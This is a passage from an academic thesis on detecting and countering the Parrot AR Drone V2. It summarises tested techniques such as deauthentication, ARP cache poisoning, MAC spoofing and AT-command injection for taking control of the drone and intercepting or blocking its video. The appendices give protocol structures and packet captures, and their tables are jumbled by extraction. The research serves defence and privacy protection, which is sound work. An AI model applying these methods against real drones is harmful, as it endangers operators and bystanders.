lack of error handling.

Manipulation of the video stream of the Parrot was also successful. A number of
methods currently exist in the body of knowledge, namely from Deligne (2012) and
Page 61 of 91

Rand (2013). Direct capture of the video stream was not possible without interrupting
the video stream; however the stream could be reconstructed at a later date through
passive network stream capturing. Limiting access to the video stream was successful
with a range of methods

As mentioned in the research design of this thesis, due to the lack of testing in this field,
all results improve the body of knowledge. As such the unsuccessful methods can be
revisited in future research against additional types of small civilian UAVs. Successful
exploitation of the Parrot proves detection and mitigation is possible to protect CI and
address privacy concerns, through examining the control structure and characteristics of
the small civilian UAV.

In summary, this chapter presented the results of a series of experiments undertaken in
the research area, for clarity of results the experiments were grouped into the areas of
the research questions, being detection and mitigation, with mitigation grouped further
into control and video. A range of experiments were undertaken falling under these
areas, with their results documented. This chapter concluded with a discussion of these
results. Chapter five concludes this thesis, documenting how this thesis has answered
the posed research questions, what this means for the body of knowledge, a critical
review of the research method and a prediction of future work in this area.
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5.0 Conclusion
This thesis set out to examine the Parrot AR drone V2 small civilian UAV, to determine
a suitable method of detecting this UAV, along with identifying methods which could be
used to manipulate the control and video stream of the Parrot. This was undertaken with
a focus of mitigating against privacy and security issues which arise from small civilian
UAVs being active in and around critical infrastructure and civilians. This chapter
presents the outcomes of the research undertaken, and shows how the hypotheses
developed answered the posed research questions. This is followed by a critical review
of the research method, and finally with a discussion of possible future research in this
field.

5.1 Research Outcomes
A number of research questions were formed to address the detection and mitigation of
small civilian UAVs. These questions were the focus of this research, from which the
selected quantitative research design was applied, to develop a number of hypotheses to
substantiate the questions. Figure 25, depicts the research questions, in relation to the
derived hypotheses.
Research Question

Related Hypotheses

RQ1: How can a small civilian UAV be detected

H1: Does the Parrot UAV output an identifiable sig-

and controlled to mitigate privacy and security

nal?

issues generated from increasing unregistered

H2: Can a detection signature be derived from an iden-

airspace activity?

tifiable signal output by the Parrot UAV?
H3: Does the Parrot communicate with the ground
controller using 802.11?
H4: Can the Parrot be directly interacted with by an
external entity?
H5: Is the Parrot UAV susceptible to control manipulation?
H6: Are there multiple methods which can be used to
manipulate the control of a Parrot UAV
H10: Can MAC address pairing on the Parrot UAV be
subverted?
H11: Can the Parrots onboard controller program be
disabled to allow for command execution?
H12: Can the Parrots control link be disabled to allow
for command execution?

RQ1-a: Is a signature-based method suitable for

H1: Does the Parrot UAV output an identifiable sig-
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detection of small UAVs using a widespread

nal?

medium?

H2: Can a detection signature be derived from an identifiable signal output by the Parrot UAV?
H3: Does the Parrot communicate with the ground
controller using 802.11?
H4: Can the Parrot be directly interacted with by an
external entity?

RQ1-b: What methods can be used to manipu-

H3: Does the Parrot communicate with the ground

late control of a small civilian UAV?

controller using 802.11?
H4: Can the Parrot be directly interacted with by an
external entity?
H5: Is the Parrot UAV susceptible to control manipulation?
H6: Are there multiple methods which can be used to
manipulate the control of a Parrot UAV
H10: Can MAC address pairing on the Parrot UAV be
subverted?
H11: Can the Parrots onboard controller program be
disabled to allow for command execution?
H12: Can the Parrots control link be disabled to allow
for command execution?

RQ2: How can the video stream of small civil-

H7: Can the video stream between the Parrot UAV

ian UAVs be manipulated to address privacy

and controller be intercepted by a third party?

and security concerns?

H8: Does the Parrot UAV use a modified H.264 video
encoding scheme?
H9: Can access to the video stream of the Parrot UAV
be limited?
H13: Can the Parrots video stream be viewed without
interrupting the ground controller

Figure 25: Research Questions and related Hypotheses
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A number of experiments aimed at proving these postulated hypotheses were developed
and undertaken throughout the research, a complete listing is shown in Figure 26.
Experiment

Related Hypotheses

Connection Capture and analysis
Command Capture and analysis
File system exploration
Examining connecting multiple devices
The effect of Deauthentication
The effect of ARP cache poisoning
Disabling the onboard controller
MAC address spoofing
Sending Malformed UDP packets
Injecting Video Disable AT command
Injecting GPS location AT command
Injecting MAC un-pair AT command
Manipulating file system utilities using iptables
Manipulating file system utilities using ftp
Manipulating file system utilities using netcat
Manipulating file system utilities using telnet
Direct video connection
Video stream capture
Video packet analysis
Kernel module development
Video prevention using Deauthentication
Video prevention using ARP cache poisoning
Video prevention using iptables

H1, H2, H3
H3
H2, H3, H4
H4
H4,H5, H6, H12
H4 ,H5, H6, H10, H12
H11
H5, H6, H10, H12
H4, H5, H6
H5, H6
H5, H6
H5, H6
H5, H6
H5, H6
H5, H6
H5, H6
H7, H8, H9
H7, H13
H8
H13
H9
H9
H9

Figure 26: Experiments and related Hypotheses
H1: Does the Parrot UAV output an identifiable signal?, was proven through analysis of
network captures taken against the Parrot and controller, identifiable characteristics in
the signal was noted, namely the vendor MAC address and 10 unique open ports. These
two points of information can be used to identify the Parrots signal.

In regards to H2: Can a detection signature be derived from an identifiable signal output
by the Parrot UAV?, a combination of analysis of the connection captures and the file
system assisted in proving this hypothesis. Analysis of the connection captures provided
identifiable characteristics, the behaviour of which was defined by examining the file
system, in particular the services running on these character defining open ports. From
this information, a detection signature was successfully derived.
H3: Does the Parrot communicate with the ground controller using 802.11? was also
proven through examining the connection captures and exploring the file system. The
parrot runs on an 802.11 WiFi network, with a range of network-based services active.
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Exploration of the file system provided evidence towards hypothesis H4: Can the Parrot
be directly interacted with by an external entity?. A number of interactive network
services, including telnet and ftp were active on the Parrot, leading to the ability to
interact with the Parrot. Examining the behaviour of connecting multiple devices proved
that the parrot could be interacted with by an external entity, allowing connection to
these services, in addition to the video and control stream, albeit limiting the original
controller. Additionally, experimentation with common 802.11 network attacks, resulted
in directly interacting the Parrot from an external entity, through the use of
Deauthentication and ARP cache poisoning.

A number of experiments relating to hypothesis H5: Is the Parrot UAV susceptible to
control manipulation? proved this hypothesis. 802.11 network attacks, including
Deauthentication, ARP cache poisoning and MAC address spoofing manipulated control
away from the controller, allowing a second controller to connect to the Parrot. Further
to this, manipulation of file system utilities, including iptables, ftp, netcat and telnet can
be used to limit control of the Parrot, while the lack of error handling on the Parrot leads
to abnormal behaviour when sending malformed UDP packets to port 5556..
Manipulation was also tested with a number of device specific control commands,
including disabling the video, injecting fake GPS locations, and disabling the MAC
pairing security feature. Of these, disabling the video worked as intended, however none
of these control manipulations were persistent. Additionally, control of the Parrot could
be manipulated by direct connecting to the video stream to interrupt viewing.

By association, hypothesis H6: Are there multiple methods which can be used to
manipulate the control of a Parrot UAV? was proven during testing of H5.
In regards to hypothesis H7: Can the video stream between the Parrot UAV and
controller be intercepted by a third party?, direct video connection and capturing the
video stream through network capture proved this hypothesis.

Hypothesis H8: Does the Parrot UAV use a modified H.264 video encoding scheme?
was disproven by connecting directly to the Parrot with two different media players,
proving a standard codec. Analysis of the video packets confirmed that only the header
file of the video packets are modified, with the encoded video stream unchanged.
Analysis of H.264 is significant, as it can be applied to military UAVs which use this
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encoding scheme.

Through using control manipulation methods, including Deauthentication and ARP
cache poisoning, hypothesis H9: Can access to the video stream of the Parrot UAV be
limited? was proven. Additionally, the video stream could also be limited by applying
iptables rule chains to block the port used for video sending the stream.

Hypothesis H10: Can MAC address pairing on the Parrot UAV be subverted?, resulted
from further analysis of the Parrot. Through the use of MAC address spoofing, and ARP
cache poisoning, MAC address pairing could be subverted to allow an unauthorised
external entity to interact with the Parrot.

Hypothesis, H11: Can the Parrots onboard controller program be disabled to allow for
command execution? was disproven, as disabling the onboard controller results in
commands not being executed on the Parrot. As per the research design however, this
result improved the body of knowledge, as disabling the onboard controller reliably
disabled the flight ability of the Parrot.
In comparison, hypothesis H12: Can the Parrots control link be disabled to allow for
command execution? was proven. Through disconnecting the controller and Parrot,
using MAC address spoofing, Deauthentication and ARP cache poisoning, control
commands could be executed against the Parrot. As detailed however, these control
commands were found to be of limited use due to being non-persistent.

Hypothesis, H13: Can the Parrots video stream be viewed without interrupting the
ground controller? was proven, as direct capture of the network stream can allow for
future reconstruction of the video stream for viewing. Attempts at real-time viewing
without interrupting the ground controller were not achieved. However, further research
into kernel module development for the Parrot could lead to the ability to view the video
stream in real-time without disconnecting the controller.
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By providing answers to these hypotheses, the research questions have been
substantiated. RQ1 asked, How can a small civilian UAV be detected and controlled to
mitigate privacy and security issues generated from increasing unregistered airspace
activity? To address this question, two sub questions were formed to split development
of a solution between the core themes of the research, detection and control. With RQ1a Is a signature-based method suitable for detection of small UAVs using a widespread
medium? addressing the detection theme, and RQ1-b What methods can be used to
manipulate control of a small civilian UAV?, relating to the control theme.

RQ1-a was answered by proving hypotheses, H1, H2, H3 and H4. Which affirms that a
signature-based detection method is suitable for detecting small UAVs, through
development of a signature-based detection Python script, using the characteristics of
the data link to detect Parrots; which can be deployed on a wide range of devices. RQ1b was addressed by proving H5, H6, H10, H11and H12, detailing multiple methods which
could manipulate the control of the Parrot UAV. Answering RQ1-a and RQ1-b, through
proving H1, H2, H3, H4, H5, H6, H10, and H12; coupled with disproving H11 has substantiated
RQ1.

RQ2, How can the video stream of small civilian UAVs be manipulated to address
privacy and security concerns? continued on the control theme of research. Hypotheses
H7, H8, H9 and H13, were proven; providing methods which manipulate the video stream
of the Parrot UAV. These methods can be used to address privacy and security concerns,
regarding high definition cameras on small civilian UAVs, thus providing a solution to
RQ2.

Page 68 of 91

5.2 Critical Review of Research
The research method used was appropriate for deriving the results required of the
questions. By using an iterative research design, further hypotheses could be developed,
which assisted in providing evidence towards the research questions. It was possible to
explore areas of research based upon information which would not have been known
without undertaking initial experiments, the flexibility of the research design allowed
for this to occur. Controlling the number of unknowns in the laboratory experiment
method was the driving factor for this iterative process. It would have been possible to
use a field experiment method for this research to test real world validity. However
discerning the shortcomings of experiments would have been difficult with the loss of
controllable factors, such as higher signal interference; causing an iterative process to be
less repeatable.

During experiments relating to MAC address pairing, it was found that this method of
control was unreliable, due to a human reaction factor that would be present in an
uncontrolled scenario. To define results from this experiment, assumptions were made
as to this behaviour. A human reaction factor was unknown at the period of
conceptualising this research design, and not revealed until near the end of research. A
more adaptive research design, which could account for the need to measure unforeseen
reaction times would have been more appropriate for determining the reliability of this
particular control manipulation method. Future research in this area could account for
the human factor in control of small civilian UAVs, in regards to manipulating this
control for mitigation purposes.
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5.3 Future Work
Future work in this area is full of potential. As previously identified, specifically
regarding the Parrot, securing these devices could be the topic of further research into
this specific small civilian UAV. Additionally, contribution to a universal small UAV
detection system incorporating the characteristics of other data link technologies could
be explored, allowing multiple types of small UAVs to be detected.

In regards to future mitigation research, methods of generating mitigations related to
specific protocol controlled small UAVs, such as those running on radio frequency
would expand the body of knowledge, as there is currently little identified research
exploring this approach. This would complement future work towards a universal
detection system, presenting actions which could be taken against these identified small
UAVs. Further research for the Parrot AR Drone could involve exploring the
aftermarket GPS module as a method of creating a detection signature or mitigation
method, similar to other small civilian UAVs with GPS spoofing. Further to this,
research could be undertaken to determine the human factor in control of small civilian
UAVs. Measuring reaction times, and gauging typical behaviour to scenarios, to create
more effective control manipulation techniques.

Furthermore, research into a method of video packet replacement in real time is a
potential area of future research, as current methods rely on altering the device to
present replacement video packets, while replacement in real-time during transmission
has not been achieved. Finally, in reference to the Parrot, further work can be
undertaken to achieve real-time viewing of the video stream without interrupting the
controller’s video stream.
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Appendix A: Parrot AR-Drone V2 Information
Pave Definition
Code

Comment

typedef struct {

uint8_t version;

/* “PaVE” – used to identify the start
of frame */
/* Version code*/

uint8_t video_codec;

/*

uint16_t header_size;
uint32_t payload_size;

/* Size of the
parrot_video_encapsulation_t */
/* Amount of data following this PaVE*/

uint16_t encodeded_stream_width;

/*

uint16_t encoded_stream_height;

/* ex: 368*/

uint16_t display_width;

/*

uint16_t display_height

/* ex: 360*/

uint32_t frame_number;

/* Frame position inside the current
stream*/
/* in milliseconds */

uint8_t signature[4];

uint32_t timestamp;
uint8_t total_chuncks;
uint8_t chunck_index;
uint8_t frame_type;
uint8_t control;
uint32_t stream_byte_position_lw;
uint32_t stream_byte_position_uw;

Codec of the following frame*/

ex: 640*/
ex: 640*/

/* Number of UDP packets containing the
current decidable payload – currently
unused */
/* Position of the packet – first chunk
is #0 – currently unused */
/* I-frame, P-frame –
parrot_video_encapsulation_frametypes_t
*/
/*Special commands like end-of-stream or
advertised frames */
/*Byte position of the current payload
in the encoded stream – lower 32-bit
word */
/* Byte position of the current payload
in the encoded stream – upper 32-bit
word */
/* This ID identifies packets that
should be recorded together */
/* number of slices composing the
current frame */
/* position of the current slice in the
frame */
/*H.264 only : size of SPS inside
payload – no SPS present if value is
zero */
/* H.264 only : size of PPS inside
payload – no PPS present if value is
zero*/
/* Padding to align on 48 bytes */

uint16_t stream_id;
uint8_t total_slices;
uint8_t slice_index;
uint8_t header1_size;
uint8_t header2_size;
uint8_t reserved2[2];

/* Size of frames announced as
advertised frames*/
/* Padding to align on 64 bytes*/

uint32_t advertised_size;
uint8_t reserved3[12];
}

__attribute__

((packed))

parrot_video_encapsulation_t;

Figure 27: PaVE Definition
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AT command

Arguments

Description

AT*REF

input

Takeoff/Landing/Emergency stop
command

AT*PCMD

flag, roll, pitch, gaz, yaw

Move the drone

AT*PCMD_MAG

flag, roll, pitch, gaz, yaw, psi,

Move the drone (with Absolute

psi accuracy

control support)

-

Sets

AT*FTRIM

the

reference

for

the

horizontal plane (must be on
ground)
At*CONFIG

key, value

configuration of the Ar.Drone 2.0

AT*CONFIG_IDS

session, user, application, ids

Identifiers

for

AT*CONFIG

commands
AT*COMWDG

-

Reset

the

communication

watchdog
AT*CALIB

device number

Ask the drone to calibrate the
magnetometer (must be flying)

Figure 28: Listing of AT commands (Adapted from AR-Drone Developers Guide 2012)
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Figure 29: Format of video-disable AT Commands

Figure 30: Format of MAC un-pair AT commands
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Figure 31: Format of GPS AT commands
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Listing 8.1: Example of configuration file as sent on the control TCP port
general: num_version_config
= 1
general: num_version_mb
= 33
general: num_version_soft
= 2.1.18
general: drone_serial
= XXXXXXXXXX
general: soft_build_date
= 2012-04-06 12:09
general: motor1_soft
= 1.41
general: motor1_hard
= 5.0
general: motor1_supplier
= 1.1
general: motor2_soft
= 1.41
general: motor2_hard
= 5.0
general: motor2_supplier
= 1.1
general: motor3_soft
= 1.41
general: motor3_hard
= 5.0
general: motor3_supplier
= 1.1
general: motor4_soft
= 1.41
general: motor4_hard
= 5.0
general: motor4_supplier
= 1.1
general: ardrone_name
= My ARDrone
general: flying_time
= 758
general: navdata_options
= 105971713
general: com_watchdog
= 2
general: video_enable
= TRUE
general: vision_enable
= TRUE
general: vbat_min
= 9000
control: accs_offset
=
{
-2.0952554e+03
2.0413781e+03
2.0569382e+03 }
control: accs_gains
=
{
9.844936e-01
6.2035287e-03
1.4683655e-02
-2.0475579e-03
9.9886459e-01
-9.5556228e-04
2.9886848e-03
-1.9088354e-02
9.8093420e-01 }
control: gyros_offset
= { -3.8548752e+01 -1.0268125e+02 4.3712502e-01 }
control: gyros_gains
= { 1.0711575e-03 -1.0726772e-03 1.0692523e-03 }
control: gyros110_offset
= { 1.6625000e+03 1.6625000e+03 }
control: gyros110_gains
= { 1.5271631e-03 -1.5271631e-03 }
control: magnet o_offset
=
{ 1.2796108e+01 -2.0355328e+02 5.8370575e+02 }
control: magnet o_radius
= 1.3417094e+02
control: gyro_offset_thr_x
= 4.0000000e+00
control: gyro_offset_thr_y
= 4.0000000e+00
control: gyro_offset_thr_z
= 5.0000000e-01
control: pwm_ref_gyros
= 500
control: osctun_value
= 63
control: osctun_test
= TRUE
control: altitude_max
= 3000
control: altitude_min
= 50
control: control_level
= 0
control: euler_angle_max
= 2.0943952e-01
control: control_iphone_tilt
= 3.4906584e-01
control: control_vz_max
= 7.0000000e+02
control: control_yaw
= 1.7453293e+00
control: outdoor
= FALSE
control: flight_without_shell
= FALSE
control: autonomous_flight
= FALSE
conrol: manual_trim
= FALSE
control: indoor_euler_angle_max
= 2.0943952e-01
control: indoor_control_vz_max
= 7.0000000e+02
control: indoor_control_yaw
= 1.7453293e+00
control: outdoor_control_vz_max
= 1.0000000e+03
control: outdoor_contorl_yaw
= 3.4906585e+00
control: flying_mode
= 0
control: hovering_range
= 1000
control: flight_anim
= 0, 0
network: ssid_single_player
= ardrone2_XXXX
network: ssid_multi_player
= ardrone2_XXXX
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network: wifi_mode
network: wifi_rate
network: owner_mac
pic: ultrasound_freq
pic: ultrasound_watchdog
pic: pic_version
video: camif_fps
video: codec_fps
video: camif_buffers
video: num_trackers
video: video_codec
video: video_slices
video: video_live_socket
video: video_storage_space
video: bitrate
video: max_bitrate
video: bitrate_ctrl_mode
video: bitrate_storage
video: video_channel
video: video_on_usb
video: video_file_index
lens: leds_anim
detect: enemy_colours
detect: groundstripe_colours
detect: enemy_without_shell
detect: detect_type
detect: detections_select_h
detect: detections_select_v_hsync
detect: detections_select_v
syslog: output
syslog: max_size
syslog: nb_files
userbox: userbox_cmd
gps: latitude
gps: longitude
gps: altitude
custom: application_id
custom: application_desc
custom: profile_id
custom: profile_desc
custom: session_id
custom: session_desc

= 0
= 0
= 00:00:00:00:00:00
= 8
= 3
= 184877088
= 30
= 30
= 2
= 12
= 0
= 0
= 0
= 15360
= 1000
= 4000
= 0
=4000
= 0
= TRUE
= 1
= 0, 0, 0
= 1
= 16
= 0
= 3
= 0
= 0
= 0
= 7
= 102400
= 5
= 0
= 5.0000000000000000e+02
= 5.0000000000000000e+02
= 0.0000000000000000e+00
= 00000000
= Default application configuration
= 00000000
= Default application configuration
= 00000000
= Default application configuration

Figure 32: Listing 8.1, Port 5559 Information (adapted from AR Drone developer guide)
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Appendix B: Captured Network Streams
No
1
2
3
4
5
6

Time
0.000000
0.005673
0.019618
0.023413
0.025614
0.027365

Source
192.168.1.2
Parrot_35:24:24
192.168.1.1
192.168.1.1
192.168.1.1
192.168.1.1

Destination
192.168.1.255
Broadcast
192.168.1.2
192.168.1.2
192.168.1.2
192.168.1.2

Protocol
UDP
ARP
UDP
UDP
UDP
TCP

Length
53
42
65
65
65
74

7

0.054003

192.168.1.1

192.168.1.2

TCP

92

8

0.055861

192.168.1.1

192.168.1.2

TCP

66

9

0.056035

192.168.1.1

192.168.1.2

TCP

92

10

0.058859

192.168.1.1

192.168.1.2

TCP

101

11

0.060657

192.168.1.1

192.168.1.2

TCP

92

12

0.063234

192.168.1.1

192.168.1.2

TCP

73

13

0.065031

192.168.1.1

192.168.1.2

TCP

74

14

0.073745

192.168.1.1

192.168.1.2

TCP

123

15

0.073761

192.168.1.1

192.168.1.2

TCP

72

16

0.073767

192.168.1.1

192.168.1.2

TCP

66

17

0.073773

192.168.1.1

192.168.1.2

TCP

92

18

0.110860

192.168.1.1

192.168.1.2

TCP

66

19

0.111406

192.168.1.1

192.168.1.2

TCP

92

20

0.111906

192.168.1.1

192.168.1.2

TCP

74

Info
Source port: 5552 Destination port: 5552
Who has 192.168.1.2? Tell 192.168.1.1
Source port: 5552 Destination port: 5552
Source port: 5552 Destination port: 5552
Source port: 5552 Destination port: 5552
5551 > 49729 [SYN, ACK] Seq=0 Ack=0 Win=5792 Len=0 MSS=1460
SACK_PERM=1 TSval=4294952067 TSecr=901767516 WS=4
5551 > 49729 [PSH, ACK] Seq=1 Ack=0 Win=5792 Len=26
TSval=4294952071 TSecr=901767517
5551
>
49729
[ACK]
Seq=27
Ack=16
Win=5792
Len=0
TSval=4294952071 TSecr=901767543
5551 > 49729 [PSH, ACK] Seq=27 Ack=16 Win=5792 Len=26
TSval=4294952071 TSecr=901767543
5551 > 49729 [PSH, ACK] Seq=53 Ack=22 Win=5792 Len=35
TSval=4294952071 TSecr=901767544
5551 > 49729 [PSH, ACK] Seq=88 Ack=30 Win=5792 Len=26
TSval=4294952072 TSecr=901767547
5551 > 49729 [PSH, ACK] Seq=114 Ack=48 Win=5792 Len=7
TSval=4294952072 TSecr=90176754
38299 > 49730 [SYN, ACK] Seq=0 Ack=0 Win=5792 Len=0 MSS=1460
SACK_PERM=1 TSval=4294952072 TSecr=901767550 WS=4
5551 > 49729 [PSH, ACK] Seq=121 Ack=66 Win=5792 Len=57
TSval=4294952073 TSecr=901767551
38299 > 49730 [PSH, ACK] Seq=1 Ack=0 Win=5792 Len=6
TSval=4294952073 TSecr=901767551
38299 > 49730 [FIN, ACK] Seq=7 Ack=0 Win=5792 Len=0
TSval=4294952073 TSecr=901767551
5551 > 49729 [PSH, ACK] Seq=178 Ack=66 Win=5792 Len=26
TSval=4294952073 TSecr=901767551
38299
>
49730
[ACK]
Seq=8
Ack=1
Win=5792
Len=0
TSval=4294952078 TSecr=901767560
5551 > 49729 [PSH, ACK] Seq=204 Ack=72 Win=5792 Len=26
TSval=4294952078 TSecr=901767561
personal-agent > 49731 [SYN, ACK] Seq=0 Ack=0 Win=5792 Len=0
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21

0.113122

192.168.1.1

192.168.1.2

TCP

66

22

0.116263

192.168.1.1

192.168.1.2

TCP

74

23

0.116280

192.168.1.1

192.168.1.2

TCP

74

24

0.116787

192.168.1.1

192.168.1.2

TCP

74

25
26

0.127866
0.129600

192.168.1.1
192.168.1.1

192.168.1.2
192.168.1.2

FTP
TCP

92
66

27
28
29
30

0.129906
0.131726
0.133975
0.135900

192.168.1.1
192.168.1.1
192.168.1.1
192.168.1.1

192.168.1.2
192.168.1.2
192.168.1.2
192.168.1.2

FTP
FTP
FTP
TCP

92
92
101
74

31
32

0.139102
0.143853

192.168.1.1
192.168.1.1

192.168.1.2
192.168.1.2

FTP
TCP

89
66

33
34

0.143869
0.147273

192.168.1.1
192.168.1.1

192.168.1.2
192.168.1.2

FTP
TCP

92
66

35
36

0.148163
0.213402

192.168.1.1
192.168.1.1

192.168.1.2
192.168.1.2

FTP
TCP

92
1514

37

0.214144

192.168.1.1

192.168.1.2

TCP

1514

38

0.214771

192.168.1.1

192.168.1.2

TCP

1514

39

0.215882

192.168.1.1

192.168.1.2

TCP

1514

40

0.216258

192.168.1.1

192.168.1.2

TCP

1514

MSS=1460 SACK_PERM=1 TSval=4294952078 TSecr=901767563 WS=4
5551 > 49729 [FIN, ACK] Seq=230 Ack=73 Win=5792 Len=0
TSval=4294952078 TSecr=901767561
5559 > 49732 [SYN, ACK] Seq=0 Ack=0 Win=5792 Len=0 MSS=1460
SACK_PERM=1 TSval=4294952078 TSecr=901767565 WS=4
ftp > 49733 [SYN, ACK] Seq=0 Ack=0 Win=5792 Len=0 MSS=1460
SACK_PERM=1 TSval=4294952078 TSecr=901767565 WS=4
sgi-eventmond > 49734 [SYN, ACK] Seq=0 Ack=0 Win=5792 Len=0
MSS=1460 SACK_PERM=1 TSval=4294952078 TSecr=901767566 WS=4
Response: 220 Operation successful
ftp
>
49733
[ACK]
Seq=27
Ack=16
Win=5792
Len=0
TSval=4294952081 TSecr=901767610
Response: 230 Operation successful
Response: 250 Operation successful
Response: 227 PASV ok (192,168,1,1,212,139)
54411 > 49735 [SYN, ACK] Seq=0 Ack=0 Win=5792 Len=0 MSS=1460
SACK_PERM=1 TSval=4294952081 TSecr=901767614 WS=4
Response: 150 Directory listing
54411 > 49735 [FIN, ACK] Seq=1 Ack=0 Win=5792 Len=0
TSval=4294952082 TSecr=901767616
Response: 226 Operation successful
54411
>
49735
[ACK]
Seq=2
Ack=1
Win=5792
Len=0
TSval=4294952083 TSecr=901767623
Response: 221 Operation successful
personal-agent > 49731 [ACK] Seq=1 Ack=0 Win=5792 Len=1448
TSval=4294952091 TSecr=901767595
personal-agent > 49731 [ACK] Seq=1449 Ack=0 Win=5792 Len=1448
TSval=4294952091 TSecr=901767595
personal-agent > 49731 [ACK] Seq=2897 Ack=0 Win=5792 Len=1448
TSval=4294952091 TSecr=901767595
personal-agent > 49731 [ACK] Seq=4345 Ack=0 Win=5792 Len=1448
TSval=4294952092 TSecr=901767692
personal-agent > 49731 [ACK] Seq=5793 Ack=0 Win=5792 Len=1448
TSval=4294952092 TSecr=901767692

Figure 33: Initial Connection Capture
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No.

Time

Source

Destination

Protocol

Length

Info

3888

18.438879

192.168.1.1

192.168.1.4

TCP

1514

3889

18.439626

192.168.1.1

192.168.1.4

TCP

1514

3890

18.439666

192.168.1.4

192.168.1.1

TCP

66

3891
3892
3893

18.440257
18.440628
18.440664

192.168.1.1
192.168.1.1
192.168.1.4

192.168.1.4
192.168.1.4
192.168.1.1

TCP
TCP
TCP

1514
898
66

3894
3895
3896
3897
3898
3899

18.454163
18.455270
18.459556
18.467454
18.467914
18.468043

f8:1a:67:1c:7c:0f
Parrot_35:24:24
192.168.1.4
192.168.1.1
192.168.1.1
192.168.1.4

Broadcast
f8:1a:67:1c:7c:0f
192.168.1.1
192.168.1.4
192.168.1.4
192.168.1.1

ARP
ARP
UDP
TCP
SIGCOMP
TCP

42
42
88
1514
1514
66

personal-agent > 49005 [ACK] Seq=3319974 Ack=1
Win=5792 Len=1448 TSval=63038 TSecr=1640333
personal-agent > 49005 [ACK] Seq=3324122 Ack=1
Win=5792 Len=1448 TSval=63038 TSecr=1640333
49005 > personal-agent [ACK] Seq=1 Ack=3322870
Win=67840 Len=0 TSval=1640339 TSecr=63038
[TCP segment of a reassembled PDU]
[TCP segment of a reassembled PDU]
49005 > personal-agent [ACK] Seq=1 Ack=3325150
Win=67840 Len=0 TSval=1640339 TSecr=63038
Who has 192.168.1.1? Tell 192.168.1.4
192.168.1.1 is at 90:03:b7:35:24:24
Source port: freeciv Destination port: freeciv
[TCP segment of a reassembled PDU]

3900

18.469131

192.168.1.1

192.168.1.4

TCP

1514

3901

18.473888

192.168.1.1

192.168.1.4

TCP

1514

3902

18.474012

192.168.1.4

192.168.1.1

TCP

66

3903

18.480708

192.168.1.1

192.168.1.4

TCP

1514

3904

18.481133

192.168.1.1

192.168.1.4

TCP

1514

3905

18.481175

192.168.1.4

192.168.1.1

TCP

66

3906

18.481638

192.168.1.1

192.168.1.4

TCP

779

3907

18.481671

192.168.1.4

192.168.1.1

TCP

66

3908

18.500150

192.168.1.1

192.168.1.4

TCP

1514

3909

18.500623

192.168.1.1

192.168.1.4

TCP

1514

3910

18.500761

192.168.1.4

192.168.1.1

TCP

66

49005 > personal-agent [ACK] Seq=1 Ack=3328046
Win=67840 Len=0 TSval=1640346 TSecr=63041
personal-agent > 49005 [ACK] Seq=3329494 Ack=1
Win=5792 Len=1448 TSval=63041 TSecr=1640339
personal-agent > 49005 [ACK] Seq=3328046 Ack=1
Win=5792 Len=1448 TSval=63041 TSecr=1640339
49005 > personal-agent [ACK] Seq=1 Ack=3330942
Win=67840 Len=0 TSval=1640347 TSecr=63041
personal-agent > 49005 [ACK] Seq=3320942 Ack=1
Win=5792 Len=1448 TSval=63041 TSecr=1640339
personal-agent > 49005 [ACK] Seq=3332390 Ack=1
Win=5792 Len=1448 TSval=63041 TSecr=1640339
49005 > personal-agent [ACK] Seq=1 Ack=3333838
Win=67840 Len=0 TSval=1640349 TSecr=63041
personal-agent > 49005 [PSH, ACK] Seq=3333838
Ack=1 Win=5792 Len=713 TSval=63041 TSecr=1640339
49005 > personal-agent [ACK] Seq=1 Ack=3334551
Win=67840 Len=0 TSval=1640349 TSecr=63041
personal-agent > 49005 [ACK] Seq=3334551 Ack=1
Win=5792 Len=1448 TSval=63045 TSecr=1640349
personal-agent > 49005 [ACK] Seq=3335999 Ack=1
Win=5792 Len=1448 TSval=63045 TSecr=1640349
49005 > personal-agent [ACK] Seq=1 Ack=3337447
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3911

18.501141

192.168.1.1

192.168.1.4

TCP

1514

3912

18.501742

192.168.1.1

192.168.1.4

TCP

1514

3913

18.501778

192.168.1.4

192.168.1.1

TCP

66

Win=67840 Len=0 TSval=1640354 TSecr=63045
personal-agent > 49005 [ACK] Seq=3337447 Ack=1
Win=5792 Len=1448 TSval=63045 TSecr=1640349
personal-agent > 49005 [ACK] Seq=3338895 Ack=1
Win=5792 Len=1448 TSval=63045 TSecr=1640349
49005 > personal-agent [ACK] Seq=1 Ack=3340343
Win=67840 Len=0 TSval=1640354 TSecr=63045

Figure 34: Capture showing Control Commands to 5556 ignored
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No

Time

Source

Destination

Protocol

Length

Info

1
2
3
4
5
6

0.000000
0.002270
0.006250
0.006300
0.006314
0.006327

f8:1a:67:1c:7c:0f
Parrot_35:24:24
192.168.1.4
192.168.1.4
192.168.1.4
192.168.1.4

Broadcast
f8:1a:67:1c:7c:0f
192.168.1.1
192.168.1.1
192.168.1.1
192.168.1.1

ARP
ARP
UDP
UDP
UDP
UDP

42
42
42
42
42
42

7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31

0.006340
0.006354
0.006365
0.006462
0.006479
0.006491
0.008435
0.009705
0.009755
0.009765
0.009774
0.010673
0.012893
1.107558
1.107608
1.107622
1.107638
1.107655
1.110043
2.208936
2.309131
2.409332
2.410577
2.410666
2.410692

192.168.1.4
192.168.1.4
192.168.1.4
192.168.1.4
192.168.1.4
192.168.1.4
192.168.1.1
192.168.1.1
192.168.1.1
192.168.1.1
192.168.1.1
192.168.1.1
192.168.1.4
192.168.1.4
192.168.1.4
192.168.1.4
192.168.1.4
192.168.1.4
192.168.1.1
192.168.1.4
192.168.1.4
192.168.1.4
192.168.1.1
192.168.1.4
192.168.1.4

192.168.1.1
192.168.1.1
192.168.1.1
192.168.1.1
192.168.1.1
192.168.1.1
192.168.1.4
192.168.1.4
192.168.1.4
192.168.1.4
192.168.1.4
192.168.1.4
192.168.1.1
192.168.1.1
192.168.1.1
192.168.1.1
192.168.1.1
192.168.1.1
192.168.1.4
192.168.1.1
192.168.1.1
192.168.1.1
192.168.1.4
192.168.1.1
192.168.1.1

UDP
UDP
UDP
UDP
UDP
UDP
ICMP
ICMP
ICMP
ICMP
ICMP
ICMP
UDP
UDP
UDP
UDP
UDP
UDP
ICMP
UDP
UDP
UDP
ICMP
UDP
UDP

42
42
42
42
42
42
70
70
70
70
70
70
42
42
42
42
42
42
70
42
42
42
70
42
42

Who has 192.168.1.1? Tell 192.168.1.4
192.168.1.1 is at 90:03:b7:35:24:24
Source port: 37384 Destination port: 5559
Source port: 37384 Destination port: sgi-esphttp
Source port: 37384 Destination port: freeciv
Source port: 37384
